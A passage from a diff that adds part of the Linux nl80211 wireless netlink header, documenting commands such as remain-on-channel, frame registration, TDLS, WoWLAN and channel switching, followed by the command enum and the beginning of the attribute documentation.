+ * notify when the requested duration starts (it may take a while for the
+ * driver to schedule this time due to other concurrent needs for the
+ * radio).
+ * When called, this operation returns a cookie (%NL80211_ATTR_COOKIE)
+ * that will be included with any events pertaining to this request;
+ * the cookie is also used to cancel the request.
+ * @NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: This command can be used to cancel a
+ * pending remain-on-channel duration if the desired operation has been
+ * completed prior to expiration of the originally requested duration.
+ * %NL80211_ATTR_WIPHY or %NL80211_ATTR_IFINDEX is used to specify the
+ * radio. The %NL80211_ATTR_COOKIE attribute must be given as well to
+ * uniquely identify the request.
+ * This command is also used as an event to notify when a requested
+ * remain-on-channel duration has expired.
+ *
+ * @NL80211_CMD_SET_TX_BITRATE_MASK: Set the mask of rates to be used in TX
+ * rate selection. %NL80211_ATTR_IFINDEX is used to specify the interface
+ * and @NL80211_ATTR_TX_RATES the set of allowed rates.
+ *
+ * @NL80211_CMD_REGISTER_FRAME: Register for receiving certain mgmt frames
+ * (via @NL80211_CMD_FRAME) for processing in userspace. This command
+ * requires an interface index, a frame type attribute (optional for
+ * backward compatibility reasons, if not given assumes action frames)
+ * and a match attribute containing the first few bytes of the frame
+ * that should match, e.g. a single byte for only a category match or
+ * four bytes for vendor frames including the OUI. The registration
+ * cannot be dropped, but is removed automatically when the netlink
+ * socket is closed. Multiple registrations can be made.
+ * @NL80211_CMD_REGISTER_ACTION: Alias for @NL80211_CMD_REGISTER_FRAME for
+ * backward compatibility
+ * @NL80211_CMD_FRAME: Management frame TX request and RX notification. This
+ * command is used both as a request to transmit a management frame and
+ * as an event indicating reception of a frame that was not processed in
+ * kernel code, but is for us (i.e., which may need to be processed in a
+ * user space application). %NL80211_ATTR_FRAME is used to specify the
+ * frame contents (including header). %NL80211_ATTR_WIPHY_FREQ is used
+ * to indicate on which channel the frame is to be transmitted or was
+ * received. If this channel is not the current channel (remain-on-channel
+ * or the operational channel) the device will switch to the given channel
+ * and transmit the frame, optionally waiting for a response for the time
+ * specified using %NL80211_ATTR_DURATION. When called, this operation
+ * returns a cookie (%NL80211_ATTR_COOKIE) that will be included with the
+ * TX status event pertaining to the TX request.
+ * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
+ * management frames at CCK rate or not in 2GHz band.
+ * %NL80211_ATTR_CSA_C_OFFSETS_TX is an array of offsets to CSA
+ * counters which will be updated to the current value. This attribute
+ * is used during CSA period.
+ * @NL80211_CMD_FRAME_WAIT_CANCEL: When an off-channel TX was requested, this
+ * command may be used with the corresponding cookie to cancel the wait
+ * time if it is known that it is no longer necessary.
+ * @NL80211_CMD_ACTION: Alias for @NL80211_CMD_FRAME for backward compatibility.
+ * @NL80211_CMD_FRAME_TX_STATUS: Report TX status of a management frame
+ * transmitted with %NL80211_CMD_FRAME. %NL80211_ATTR_COOKIE identifies
+ * the TX command and %NL80211_ATTR_FRAME includes the contents of the
+ * frame. %NL80211_ATTR_ACK flag is included if the recipient acknowledged
+ * the frame.
+ * @NL80211_CMD_ACTION_TX_STATUS: Alias for @NL80211_CMD_FRAME_TX_STATUS for
+ * backward compatibility.
+ *
+ * @NL80211_CMD_SET_POWER_SAVE: Set powersave, using %NL80211_ATTR_PS_STATE
+ * @NL80211_CMD_GET_POWER_SAVE: Get powersave status in %NL80211_ATTR_PS_STATE
+ *
+ * @NL80211_CMD_SET_CQM: Connection quality monitor configuration. This command
+ * is used to configure connection quality monitoring notification trigger
+ * levels.
+ * @NL80211_CMD_NOTIFY_CQM: Connection quality monitor notification. This
+ * command is used as an event to indicate the that a trigger level was
+ * reached.
+ * @NL80211_CMD_SET_CHANNEL: Set the channel (using %NL80211_ATTR_WIPHY_FREQ
+ * and the attributes determining channel width) the given interface
+ * (identifed by %NL80211_ATTR_IFINDEX) shall operate on.
+ * In case multiple channels are supported by the device, the mechanism
+ * with which it switches channels is implementation-defined.
+ * When a monitor interface is given, it can only switch channel while
+ * no other interfaces are operating to avoid disturbing the operation
+ * of any other interfaces, and other interfaces will again take
+ * precedence when they are used.
+ *
+ * @NL80211_CMD_SET_WDS_PEER: Set the MAC address of the peer on a WDS
+ *interface.
+ *
+ * @NL80211_CMD_JOIN_MESH: Join a mesh. The mesh ID must be given, and initial
+ * mesh config parameters may be given.
+ * @NL80211_CMD_LEAVE_MESH: Leave the mesh network -- no special arguments, the
+ * network is determined by the network interface.
+ *
+ * @NL80211_CMD_UNPROT_DEAUTHENTICATE: Unprotected deauthentication frame
+ * notification. This event is used to indicate that an unprotected
+ * deauthentication frame was dropped when MFP is in use.
+ * @NL80211_CMD_UNPROT_DISASSOCIATE: Unprotected disassociation frame
+ * notification. This event is used to indicate that an unprotected
+ * disassociation frame was dropped when MFP is in use.
+ *
+ * @NL80211_CMD_NEW_PEER_CANDIDATE: Notification on the reception of a
+ * beacon or probe response from a compatible mesh peer. This is only
+ * sent while no station information (sta_info) exists for the new peer
+ * candidate and when @NL80211_MESH_SETUP_USERSPACE_AUTH,
+ * @NL80211_MESH_SETUP_USERSPACE_AMPE, or
+ * @NL80211_MESH_SETUP_USERSPACE_MPM is set. On reception of this
+ * notification, userspace may decide to create a new station
+ * (@NL80211_CMD_NEW_STATION). To stop this notification from
+ * reoccurring, the userspace authentication daemon may want to create the
+ * new station with the AUTHENTICATED flag unset and maybe change it later
+ * depending on the authentication result.
+ *
+ * @NL80211_CMD_GET_WOWLAN: get Wake-on-Wireless-LAN (WoWLAN) settings.
+ * @NL80211_CMD_SET_WOWLAN: set Wake-on-Wireless-LAN (WoWLAN) settings.
+ * Since wireless is more complex than wired ethernet, it supports
+ * various triggers. These triggers can be configured through this
+ * command with the %NL80211_ATTR_WOWLAN_TRIGGERS attribute. For
+ * more background information, see
+ * http://wireless.kernel.org/en/users/Documentation/WoWLAN.
+ * The @NL80211_CMD_SET_WOWLAN command can also be used as a notification
+ * from the driver reporting the wakeup reason. In this case, the
+ * @NL80211_ATTR_WOWLAN_TRIGGERS attribute will contain the reason
+ * for the wakeup, if it was caused by wireless. If it is not present
+ * in the wakeup notification, the wireless device didn't cause the
+ * wakeup but reports that it was woken up.
+ *
+ * @NL80211_CMD_SET_REKEY_OFFLOAD: This command is used give the driver
+ * the necessary information for supporting GTK rekey offload. This
+ * feature is typically used during WoWLAN. The configuration data
+ * is contained in %NL80211_ATTR_REKEY_DATA (which is nested and
+ * contains the data in sub-attributes). After rekeying happened,
+ * this command may also be sent by the driver as an MLME event to
+ * inform userspace of the new replay counter.
+ *
+ * @NL80211_CMD_PMKSA_CANDIDATE: This is used as an event to inform userspace
+ * of PMKSA caching dandidates.
+ *
+ * @NL80211_CMD_TDLS_OPER: Perform a high-level TDLS command (e.g. link setup).
+ * In addition, this can be used as an event to request userspace to take
+ * actions on TDLS links (set up a new link or tear down an existing one).
+ * In such events, %NL80211_ATTR_TDLS_OPERATION indicates the requested
+ * operation, %NL80211_ATTR_MAC contains the peer MAC address, and
+ * %NL80211_ATTR_REASON_CODE the reason code to be used (only with
+ * %NL80211_TDLS_TEARDOWN).
+ * @NL80211_CMD_TDLS_MGMT: Send a TDLS management frame. The
+ * %NL80211_ATTR_TDLS_ACTION attribute determines the type of frame to be
+ * sent. Public Action codes (802.11-2012 8.1.5.1) will be sent as
+ * 802.11 management frames, while TDLS action codes (802.11-2012
+ * 8.5.13.1) will be encapsulated and sent as data frames. The currently
+ * supported Public Action code is %WLAN_PUB_ACTION_TDLS_DISCOVER_RES
+ * and the currently supported TDLS actions codes are given in
+ * &enum ieee80211_tdls_actioncode.
+ *
+ * @NL80211_CMD_UNEXPECTED_FRAME: Used by an application controlling an AP
+ * (or GO) interface (i.e. hostapd) to ask for unexpected frames to
+ * implement sending deauth to stations that send unexpected class 3
+ * frames. Also used as the event sent by the kernel when such a frame
+ * is received.
+ * For the event, the %NL80211_ATTR_MAC attribute carries the TA and
+ * other attributes like the interface index are present.
+ * If used as the command it must have an interface index and you can
+ * only unsubscribe from the event by closing the socket. Subscription
+ * is also for %NL80211_CMD_UNEXPECTED_4ADDR_FRAME events.
+ *
+ * @NL80211_CMD_UNEXPECTED_4ADDR_FRAME: Sent as an event indicating that the
+ * associated station identified by %NL80211_ATTR_MAC sent a 4addr frame
+ * and wasn't already in a 4-addr VLAN. The event will be sent similarly
+ * to the %NL80211_CMD_UNEXPECTED_FRAME event, to the same listener.
+ *
+ * @NL80211_CMD_PROBE_CLIENT: Probe an associated station on an AP interface
+ * by sending a null data frame to it and reporting when the frame is
+ * acknowleged. This is used to allow timing out inactive clients. Uses
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_MAC. The command returns a
+ * direct reply with an %NL80211_ATTR_COOKIE that is later used to match
+ * up the event with the request. The event includes the same data and
+ * has %NL80211_ATTR_ACK set if the frame was ACKed.
+ *
+ * @NL80211_CMD_REGISTER_BEACONS: Register this socket to receive beacons from
+ * other BSSes when any interfaces are in AP mode. This helps implement
+ * OLBC handling in hostapd. Beacons are reported in %NL80211_CMD_FRAME
+ * messages. Note that per PHY only one application may register.
+ *
+ * @NL80211_CMD_SET_NOACK_MAP: sets a bitmap for the individual TIDs whether
+ * No Acknowledgement Policy should be applied.
+ *
+ * @NL80211_CMD_CH_SWITCH_NOTIFY: An AP or GO may decide to switch channels
+ * independently of the userspace SME, send this event indicating
+ * %NL80211_ATTR_IFINDEX is now on %NL80211_ATTR_WIPHY_FREQ and the
+ * attributes determining channel width.
+ *
+ * @NL80211_CMD_CH_SWITCH_STARTED_NOTIFY: Notify that a channel switch
+ * has been started on an interface, regardless of the initiator
+ * (ie. whether it was requested from a remote device or
+ * initiated on our own). It indicates that
+ * %NL80211_ATTR_IFINDEX will be on %NL80211_ATTR_WIPHY_FREQ
+ * after %NL80211_ATTR_CH_SWITCH_COUNT TBTT's. The userspace may
+ * decide to react to this indication by requesting other
+ * interfaces to change channel as well.
+ *
+ * @NL80211_CMD_START_P2P_DEVICE: Start the given P2P Device, identified by
+ * its %NL80211_ATTR_WDEV identifier. It must have been created with
+ * %NL80211_CMD_NEW_INTERFACE previously. After it has been started, the
+ * P2P Device can be used for P2P operations, e.g. remain-on-channel and
+ * public action frame TX.
+ * @NL80211_CMD_STOP_P2P_DEVICE: Stop the given P2P Device, identified by
+ * its %NL80211_ATTR_WDEV identifier.
+ *
+ * @NL80211_CMD_CONN_FAILED: connection request to an AP failed; used to
+ * notify userspace that AP has rejected the connection request from a
+ * station, due to particular reason. %NL80211_ATTR_CONN_FAILED_REASON
+ * is used for this.
+ *
+ * @NL80211_CMD_SET_MCAST_RATE: Change the rate used to send multicast frames
+ * for IBSS or MESH vif.
+ *
+ * @NL80211_CMD_SET_MAC_ACL: sets ACL for MAC address based access control.
+ * This is to be used with the drivers advertising the support of MAC
+ * address based access control. List of MAC addresses is passed in
+ * %NL80211_ATTR_MAC_ADDRS and ACL policy is passed in
+ * %NL80211_ATTR_ACL_POLICY. Driver will enable ACL with this list, if it
+ * is not already done. The new list will replace any existing list. Driver
+ * will clear its ACL when the list of MAC addresses passed is empty. This
+ * command is used in AP/P2P GO mode. Driver has to make sure to clear its
+ * ACL list during %NL80211_CMD_STOP_AP.
+ *
+ * @NL80211_CMD_RADAR_DETECT: Start a Channel availability check (CAC). Once
+ * a radar is detected or the channel availability scan (CAC) has finished
+ * or was aborted, or a radar was detected, usermode will be notified with
+ * this event. This command is also used to notify userspace about radars
+ * while operating on this channel.
+ * %NL80211_ATTR_RADAR_EVENT is used to inform about the type of the
+ * event.
+ *
+ * @NL80211_CMD_GET_PROTOCOL_FEATURES: Get global nl80211 protocol features,
+ * i.e. features for the nl80211 protocol rather than device features.
+ * Returns the features in the %NL80211_ATTR_PROTOCOL_FEATURES bitmap.
+ *
+ * @NL80211_CMD_UPDATE_FT_IES: Pass down the most up-to-date Fast Transition
+ * Information Element to the WLAN driver
+ *
+ * @NL80211_CMD_FT_EVENT: Send a Fast transition event from the WLAN driver
+ * to the supplicant. This will carry the target AP's MAC address along
+ * with the relevant Information Elements. This event is used to report
+ * received FT IEs (MDIE, FTIE, RSN IE, TIE, RICIE).
+ *
+ * @NL80211_CMD_CRIT_PROTOCOL_START: Indicates user-space will start running
+ * a critical protocol that needs more reliability in the connection to
+ * complete.
+ *
+ * @NL80211_CMD_CRIT_PROTOCOL_STOP: Indicates the connection reliability can
+ * return back to normal.
+ *
+ * @NL80211_CMD_GET_COALESCE: Get currently supported coalesce rules.
+ * @NL80211_CMD_SET_COALESCE: Configure coalesce rules or clear existing rules.
+ *
+ * @NL80211_CMD_CHANNEL_SWITCH: Perform a channel switch by announcing the
+ * the new channel information (Channel Switch Announcement - CSA)
+ * in the beacon for some time (as defined in the
+ * %NL80211_ATTR_CH_SWITCH_COUNT parameter) and then change to the
+ * new channel. Userspace provides the new channel information (using
+ * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel
+ * width). %NL80211_ATTR_CH_SWITCH_BLOCK_TX may be supplied to inform
+ * other station that transmission must be blocked until the channel
+ * switch is complete.
+ *
+ * @NL80211_CMD_VENDOR: Vendor-specified command/event. The command is specified
+ * by the %NL80211_ATTR_VENDOR_ID attribute and a sub-command in
+ * %NL80211_ATTR_VENDOR_SUBCMD. Parameter(s) can be transported in
+ * %NL80211_ATTR_VENDOR_DATA.
+ * For feature advertisement, the %NL80211_ATTR_VENDOR_DATA attribute is
+ * used in the wiphy data as a nested attribute containing descriptions
+ * (&struct nl80211_vendor_cmd_info) of the supported vendor commands.
+ * This may also be sent as an event with the same attributes.
+ *
+ * @NL80211_CMD_SET_QOS_MAP: Set Interworking QoS mapping for IP DSCP values.
+ * The QoS mapping information is included in %NL80211_ATTR_QOS_MAP. If
+ * that attribute is not included, QoS mapping is disabled. Since this
+ * QoS mapping is relevant for IP packets, it is only valid during an
+ * association. This is cleared on disassociation and AP restart.
+ *
+ * @NL80211_CMD_ADD_TX_TS: Ask the kernel to add a traffic stream for the given
+ * %NL80211_ATTR_TSID and %NL80211_ATTR_MAC with %NL80211_ATTR_USER_PRIO
+ * and %NL80211_ATTR_ADMITTED_TIME parameters.
+ * Note that the action frame handshake with the AP shall be handled by
+ * userspace via the normal management RX/TX framework, this only sets
+ * up the TX TS in the driver/device.
+ * If the admitted time attribute is not added then the request just checks
+ * if a subsequent setup could be successful, the intent is to use this to
+ * avoid setting up a session with the AP when local restrictions would
+ * make that impossible. However, the subsequent "real" setup may still
+ * fail even if the check was successful.
+ * @NL80211_CMD_DEL_TX_TS: Remove an existing TS with the %NL80211_ATTR_TSID
+ * and %NL80211_ATTR_MAC parameters. It isn't necessary to call this
+ * before removing a station entry entirely, or before disassociating
+ * or similar, cleanup will happen in the driver/device in this case.
+ *
+ * @NL80211_CMD_GET_MPP: Get mesh path attributes for mesh proxy path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_JOIN_OCB: Join the OCB network. The center frequency and
+ * bandwidth of a channel must be given.
+ * @NL80211_CMD_LEAVE_OCB: Leave the OCB network -- no special arguments, the
+ * network is determined by the network interface.
+ *
+ * @NL80211_CMD_TDLS_CHANNEL_SWITCH: Start channel-switching with a TDLS peer,
+ * identified by the %NL80211_ATTR_MAC parameter. A target channel is
+ * provided via %NL80211_ATTR_WIPHY_FREQ and other attributes determining
+ * channel width/type. The target operating class is given via
+ * %NL80211_ATTR_OPER_CLASS.
+ * The driver is responsible for continually initiating channel-switching
+ * operations and returning to the base channel for communication with the
+ * AP.
+ * @NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH: Stop channel-switching with a TDLS
+ * peer given by %NL80211_ATTR_MAC. Both peers must be on the base channel
+ * when this command completes.
+ *
+ * @NL80211_CMD_WIPHY_REG_CHANGE: Similar to %NL80211_CMD_REG_CHANGE, but used
+ * as an event to indicate changes for devices with wiphy-specific regdom
+ * management.
+ *
+ * @NL80211_CMD_ABORT_SCAN: Stop an ongoing scan. Returns -ENOENT if a scan is
+ * not running. The driver indicates the status of the scan through
+ * cfg80211_scan_done().
+ *
+ * @NL80211_CMD_MAX: highest used command number
+ * @__NL80211_CMD_AFTER_LAST: internal use
+ */
+enum nl80211_commands {
+ /* don't change the order or add anything between, this is ABI! */
+ NL80211_CMD_UNSPEC,
+
+ NL80211_CMD_GET_WIPHY, /* can dump */
+ NL80211_CMD_SET_WIPHY,
+ NL80211_CMD_NEW_WIPHY,
+ NL80211_CMD_DEL_WIPHY,
+
+ NL80211_CMD_GET_INTERFACE, /* can dump */
+ NL80211_CMD_SET_INTERFACE,
+ NL80211_CMD_NEW_INTERFACE,
+ NL80211_CMD_DEL_INTERFACE,
+
+ NL80211_CMD_GET_KEY,
+ NL80211_CMD_SET_KEY,
+ NL80211_CMD_NEW_KEY,
+ NL80211_CMD_DEL_KEY,
+
+ NL80211_CMD_GET_BEACON,
+ NL80211_CMD_SET_BEACON,
+ NL80211_CMD_START_AP,
+ NL80211_CMD_NEW_BEACON = NL80211_CMD_START_AP,
+ NL80211_CMD_STOP_AP,
+ NL80211_CMD_DEL_BEACON = NL80211_CMD_STOP_AP,
+
+ NL80211_CMD_GET_STATION,
+ NL80211_CMD_SET_STATION,
+ NL80211_CMD_NEW_STATION,
+ NL80211_CMD_DEL_STATION,
+
+ NL80211_CMD_GET_MPATH,
+ NL80211_CMD_SET_MPATH,
+ NL80211_CMD_NEW_MPATH,
+ NL80211_CMD_DEL_MPATH,
+
+ NL80211_CMD_SET_BSS,
+
+ NL80211_CMD_SET_REG,
+ NL80211_CMD_REQ_SET_REG,
+
+ NL80211_CMD_GET_MESH_CONFIG,
+ NL80211_CMD_SET_MESH_CONFIG,
+
+ NL80211_CMD_SET_MGMT_EXTRA_IE /* reserved; not used */,
+
+ NL80211_CMD_GET_REG,
+
+ NL80211_CMD_GET_SCAN,
+ NL80211_CMD_TRIGGER_SCAN,
+ NL80211_CMD_NEW_SCAN_RESULTS,
+ NL80211_CMD_SCAN_ABORTED,
+
+ NL80211_CMD_REG_CHANGE,
+
+ NL80211_CMD_AUTHENTICATE,
+ NL80211_CMD_ASSOCIATE,
+ NL80211_CMD_DEAUTHENTICATE,
+ NL80211_CMD_DISASSOCIATE,
+
+ NL80211_CMD_MICHAEL_MIC_FAILURE,
+
+ NL80211_CMD_REG_BEACON_HINT,
+
+ NL80211_CMD_JOIN_IBSS,
+ NL80211_CMD_LEAVE_IBSS,
+
+ NL80211_CMD_TESTMODE,
+
+ NL80211_CMD_CONNECT,
+ NL80211_CMD_ROAM,
+ NL80211_CMD_DISCONNECT,
+
+ NL80211_CMD_SET_WIPHY_NETNS,
+
+ NL80211_CMD_GET_SURVEY,
+ NL80211_CMD_NEW_SURVEY_RESULTS,
+
+ NL80211_CMD_SET_PMKSA,
+ NL80211_CMD_DEL_PMKSA,
+ NL80211_CMD_FLUSH_PMKSA,
+
+ NL80211_CMD_REMAIN_ON_CHANNEL,
+ NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL,
+
+ NL80211_CMD_SET_TX_BITRATE_MASK,
+
+ NL80211_CMD_REGISTER_FRAME,
+ NL80211_CMD_REGISTER_ACTION = NL80211_CMD_REGISTER_FRAME,
+ NL80211_CMD_FRAME,
+ NL80211_CMD_ACTION = NL80211_CMD_FRAME,
+ NL80211_CMD_FRAME_TX_STATUS,
+ NL80211_CMD_ACTION_TX_STATUS = NL80211_CMD_FRAME_TX_STATUS,
+
+ NL80211_CMD_SET_POWER_SAVE,
+ NL80211_CMD_GET_POWER_SAVE,
+
+ NL80211_CMD_SET_CQM,
+ NL80211_CMD_NOTIFY_CQM,
+
+ NL80211_CMD_SET_CHANNEL,
+ NL80211_CMD_SET_WDS_PEER,
+
+ NL80211_CMD_FRAME_WAIT_CANCEL,
+
+ NL80211_CMD_JOIN_MESH,
+ NL80211_CMD_LEAVE_MESH,
+
+ NL80211_CMD_UNPROT_DEAUTHENTICATE,
+ NL80211_CMD_UNPROT_DISASSOCIATE,
+
+ NL80211_CMD_NEW_PEER_CANDIDATE,
+
+ NL80211_CMD_GET_WOWLAN,
+ NL80211_CMD_SET_WOWLAN,
+
+ NL80211_CMD_START_SCHED_SCAN,
+ NL80211_CMD_STOP_SCHED_SCAN,
+ NL80211_CMD_SCHED_SCAN_RESULTS,
+ NL80211_CMD_SCHED_SCAN_STOPPED,
+
+ NL80211_CMD_SET_REKEY_OFFLOAD,
+
+ NL80211_CMD_PMKSA_CANDIDATE,
+
+ NL80211_CMD_TDLS_OPER,
+ NL80211_CMD_TDLS_MGMT,
+
+ NL80211_CMD_UNEXPECTED_FRAME,
+
+ NL80211_CMD_PROBE_CLIENT,
+
+ NL80211_CMD_REGISTER_BEACONS,
+
+ NL80211_CMD_UNEXPECTED_4ADDR_FRAME,
+
+ NL80211_CMD_SET_NOACK_MAP,
+
+ NL80211_CMD_CH_SWITCH_NOTIFY,
+
+ NL80211_CMD_START_P2P_DEVICE,
+ NL80211_CMD_STOP_P2P_DEVICE,
+
+ NL80211_CMD_CONN_FAILED,
+
+ NL80211_CMD_SET_MCAST_RATE,
+
+ NL80211_CMD_SET_MAC_ACL,
+
+ NL80211_CMD_RADAR_DETECT,
+
+ NL80211_CMD_GET_PROTOCOL_FEATURES,
+
+ NL80211_CMD_UPDATE_FT_IES,
+ NL80211_CMD_FT_EVENT,
+
+ NL80211_CMD_CRIT_PROTOCOL_START,
+ NL80211_CMD_CRIT_PROTOCOL_STOP,
+
+ NL80211_CMD_GET_COALESCE,
+ NL80211_CMD_SET_COALESCE,
+
+ NL80211_CMD_CHANNEL_SWITCH,
+
+ NL80211_CMD_VENDOR,
+
+ NL80211_CMD_SET_QOS_MAP,
+
+ NL80211_CMD_ADD_TX_TS,
+ NL80211_CMD_DEL_TX_TS,
+
+ NL80211_CMD_GET_MPP,
+
+ NL80211_CMD_JOIN_OCB,
+ NL80211_CMD_LEAVE_OCB,
+
+ NL80211_CMD_CH_SWITCH_STARTED_NOTIFY,
+
+ NL80211_CMD_TDLS_CHANNEL_SWITCH,
+ NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH,
+
+ NL80211_CMD_WIPHY_REG_CHANGE,
+
+ NL80211_CMD_ABORT_SCAN,
+
+ /* add new commands above here */
+
+ /* used to define NL80211_CMD_MAX below */
+ __NL80211_CMD_AFTER_LAST,
+ NL80211_CMD_MAX = __NL80211_CMD_AFTER_LAST - 1
+};
+
+/*
+ * Allow user space programs to use #ifdef on new commands by defining them
+ * here
+ */
+#define NL80211_CMD_SET_BSS NL80211_CMD_SET_BSS
+#define NL80211_CMD_SET_MGMT_EXTRA_IE NL80211_CMD_SET_MGMT_EXTRA_IE
+#define NL80211_CMD_REG_CHANGE NL80211_CMD_REG_CHANGE
+#define NL80211_CMD_AUTHENTICATE NL80211_CMD_AUTHENTICATE
+#define NL80211_CMD_ASSOCIATE NL80211_CMD_ASSOCIATE
+#define NL80211_CMD_DEAUTHENTICATE NL80211_CMD_DEAUTHENTICATE
+#define NL80211_CMD_DISASSOCIATE NL80211_CMD_DISASSOCIATE
+#define NL80211_CMD_REG_BEACON_HINT NL80211_CMD_REG_BEACON_HINT
+
+#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
+
+/* source-level API compatibility */
+#define NL80211_CMD_GET_MESH_PARAMS NL80211_CMD_GET_MESH_CONFIG
+#define NL80211_CMD_SET_MESH_PARAMS NL80211_CMD_SET_MESH_CONFIG
+#define NL80211_MESH_SETUP_VENDOR_PATH_SEL_IE NL80211_MESH_SETUP_IE
+
+/**
+ * enum nl80211_attrs - nl80211 netlink attributes
+ *
+ * @NL80211_ATTR_UNSPEC: unspecified attribute to catch errors
+ *
+ * @NL80211_ATTR_WIPHY: index of wiphy to operate on, cf.
+ * /sys/class/ieee80211/<phyname>/index
+ * @NL80211_ATTR_WIPHY_NAME: wiphy name (used for renaming)
+ * @NL80211_ATTR_WIPHY_TXQ_PARAMS: a nested array of TX queue parameters
+ * @NL80211_ATTR_WIPHY_FREQ: frequency of the selected channel in MHz,
+ * defines the channel together with the (deprecated)
+ * %NL80211_ATTR_WIPHY_CHANNEL_TYPE attribute or the attributes
+ * %NL80211_ATTR_CHANNEL_WIDTH and if needed %NL80211_ATTR_CENTER_FREQ1
+ * and %NL80211_ATTR_CENTER_FREQ2
+ * @NL80211_ATTR_CHANNEL_WIDTH: u32 attribute containing one of the values
+ * of &enum nl80211_chan_width, describing the channel width. See the
+ * documentation of the enum for more information.
+ * @NL80211_ATTR_CENTER_FREQ1: Center frequency of the first part of the
+ * channel, used for anything but 20 MHz bandwidth
+ * @NL80211_ATTR_CENTER_FREQ2: Center frequency of the second part of the
+ * channel, used only for 80+80 MHz bandwidth
+ * @NL80211_ATTR_WIPHY_CHANNEL_TYPE: included with NL80211_ATTR_WIPHY_FREQ
+ * if HT20 or HT40 are to be used (i.e., HT disabled if not included):
+ * NL80211_CHAN_NO_HT = HT not allowed (i.e., same as not including
+ * this attribute)
+ * NL80211_CHAN_HT20 = HT20 only
+ * NL80211_CHAN_HT40MINUS = secondary channel is below the primary channel
+ * NL80211_CHAN_HT40PLUS = secondary channel is above the primary channel
+ * This attribute is now deprecated.
+ * @NL80211_ATTR_WIPHY_RETRY_SHORT: TX retry limit for frames whose length is
+ * less than or equal to the RTS threshold; allowed range: 1..255;
+ * dot11ShortRetryLimit; u8
+ * @NL80211_ATTR_WIPHY_RETRY_LONG: TX retry limit for frames whose length is
+ * greater than the RTS threshold; allowed range: 1..255;
+ * dot11ShortLongLimit; u8
+ * @NL80211_ATTR_WIPHY_FRAG_THRESHOLD: fragmentation threshold, i.e., maximum
+ * length in octets for frames; allowed range: 256..8000, disable
+ * fragmentation with (u32)-1; dot11FragmentationThreshold; u32
+ * @NL80211_ATTR_WIPHY_RTS_THRESHOLD: RTS threshold (TX frames with length
+ * larger than or equal to this use RTS/CTS handshake); allowed range:
+ * 0..65536, disable with (u32)-1; dot11RTSThreshold; u32
+ * @NL80211_ATTR_WIPHY_COVERAGE_CLASS: Coverage Class as defined by IEEE 802.11
+ * section 7.3.2.9; dot11CoverageClass; u8
+ *
+ * @NL80211_ATTR_IFINDEX: network interface index of the device to operate on
+ * @NL80211_ATTR_IFNAME: network interface name
+ * @NL80211_ATTR_IFTYPE: type of virtual interface, see &enum nl80211_iftype
+ *
+ * @NL80211_ATTR_WDEV: wireless device identifier, used for pseudo-devices
+ * that don't have a netdev (u64)
+ *
+ * @NL80211_ATTR_MAC: MAC address (various uses)
+ *
+ * @NL80211_ATTR_KEY_DATA: (temporal) key data; for TKIP this consists of
+ * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC
+ * keys
+ * @NL80211_ATTR_KEY_IDX: key ID (u8, 0-3)
+ * @NL80211_ATTR_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
+ * section 7.3.2.25.1, e.g. 0x000FAC04)
+ * @NL80211_ATTR_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
+ * CCMP keys, each six bytes in little endian
+ * @NL80211_ATTR_KEY_DEFAULT: Flag attribute indicating the key is default key
+ * @NL80211_ATTR_KEY_DEFAULT_MGMT: Flag attribute indicating the key is the
+ * default management key
+ * @NL80211_ATTR_CIPHER_SUITES_PAIRWISE: For crypto settings for connect or
+ * other commands, indicates which pairwise cipher suites are used
+ * @NL80211_ATTR_CIPHER_SUITE_GROUP: For crypto settings for connect or
+ * other commands, indicates which group cipher suite is used
+ *
+ * @NL80211_ATTR_BEACON_INTERVAL: beacon interval in TU
+ * @NL80211_ATTR_DTIM_PERIOD: DTIM period for beaconing
+ * @NL80211_ATTR_BEACON_HEAD: portion of the beacon before the TIM IE
+ * @NL80211_ATTR_BEACON_TAIL: portion of the beacon after the TIM IE
+ *
+ * @NL80211_ATTR_STA_AID: Association ID for the station (u16)
+ * @NL80211_ATTR_STA_FLAGS: flags, nested element with NLA_FLAG attributes of
+ * &enum nl80211_sta_flags (deprecated, use %NL80211_ATTR_STA_FLAGS2)
+ * @NL80211_ATTR_STA_LISTEN_INTERVAL: listen interval as defined by
+ * IEEE 802.11 7.3.1.6 (u16).
+ * @NL80211_ATTR_STA_SUPPORTED_RATES: supported rates, array of supported
+ * rates as defined by IEEE 802.11 7.3.2.2 but without the length
+ * restriction (at most %NL80211_MAX_SUPP_RATES).
+ * @NL80211_ATTR_STA_VLAN: interface index of VLAN interface to move station
+ * to, or the AP interface the station was originally added to to.
+ * @NL80211_ATTR_STA_INFO: information about a station, part of station info
+ * given for %NL80211_CMD_GET_STATION, nested attribute containing
+ * info as possible, see &enum nl80211_sta_info.
+ *
+ * @NL80211_ATTR_WIPHY_BANDS: Information about an operating bands,
+ * consisting of a nested array.
+ *
+ * @NL80211_ATTR_MESH_ID: mesh id (1-32 bytes).
+ * @NL80211_ATTR_STA_PLINK_ACTION: action to perform on the mesh peer link
+ * (see &enum nl80211_plink_action).
+ * @NL80211_ATTR_MPATH_NEXT_HOP: MAC address of the next hop for a mesh path.
+ * @NL80211_ATTR_MPATH_INFO: information about a mesh_path, part of mesh path
+ * info given for %NL80211_CMD_GET_MPATH, nested attribute described at
+ * &enum nl80211_mpath_info.
+ *
+ * @NL80211_ATTR_MNTR_FLAGS: flags, nested element with NLA_FLAG attributes of
+ * &enum nl80211_mntr_flags.
+ *
+ * @NL80211_ATTR_REG_ALPHA2: an ISO-3166-alpha2 country code for which the
+ * current regulatory domain should be set to or is already set to.
+ * For example, 'CR', for Costa Rica. This attribute is used by the kernel
+ * to query the CRDA to retrieve one regulatory domain. This attribute can
+ * also be used by userspace to query the kernel for the currently set
+ * regulatory domain. We chose an alpha2 as that is also used by the
+ * IEEE-802.11 country information element to identify a country.
+ * Users can also simply ask the wireless core to set regulatory domain
+ * to a specific alpha2.
